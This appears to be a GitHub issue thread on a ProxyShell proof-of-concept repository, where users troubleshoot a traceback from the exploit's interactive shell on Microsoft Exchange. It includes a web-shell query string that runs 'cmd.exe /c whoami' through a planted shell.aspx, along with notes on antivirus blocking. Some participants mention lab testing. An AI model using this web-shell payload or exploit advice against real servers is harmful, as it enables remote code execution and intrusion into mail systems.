proxyshell-poc icon indicating copy to clipboard operation
proxyshell-poc copied to clipboard

error when using shell

Open Sda2023 opened this issue 3 years ago • 8 comments

Hi it gives me this error when using the shell Shell> whoami 127.0.0.1 - - [16/Aug/2021 05:00:20] "POST /wsman HTTP/1.1" 200 - Traceback (most recent call last): File "proxyshell_rce.py", line 364, in main() File "proxyshell_rce.py", line 353, in main shell(input('PS> '), local_port, proxyshell) File "proxyshell_rce.py", line 255, in shell output = r.content.split(delimit.encode())[1] IndexError: list index out of range

Sda2023 avatar Aug 16 '21 10:08 Sda2023

What happens when you visit the shell URL manually?

dmaasland avatar Aug 16 '21 10:08 dmaasland

And if you add this to the URL?

?exec_code=Response.Write(new ActiveXObject("WScript.Shell").Exec("cmd.exe /c whoami").StdOut.ReadAll());

dmaasland avatar Aug 16 '21 10:08 dmaasland

error 500 means webshell cannot be accessed because it is blocked by av or The process cannot access the file 'C:\inetpub\wwwroot\aspnet_client\shell.aspx' because it is being used by another process.

Udyz avatar Aug 16 '21 17:08 Udyz

so build your own server for testing, don't use for exploit in the wild

Udyz avatar Aug 16 '21 17:08 Udyz

error 500 means webshell cannot be accessed because it is blocked by av or The process cannot access the file 'C:\inetpub\wwwroot\aspnet_client\shell.aspx' because it is being used by another process.

Hi. What if it accessible and dont busy. I created my lab and tried there this exploit, *.aspx was created, by url it works, but when i tried paste this "?exec_code=Response.Write(new ActiveXObject("WScript.Shell").Exec("cmd.exe /c whoami").StdOut.ReadAll()); " it gave me same error, BUT i find one thing, that i can execute few commands such a: certreq, tasklist, taskkill, sc query. WITHOUT "cmd.exe" at begin.

Can you help me to figure it out coz i really dont understand whyy?

IABeginner avatar Aug 28 '21 23:08 IABeginner

i‘m also facing this issue, any solution?

wowulaile avatar Sep 02 '21 09:09 wowulaile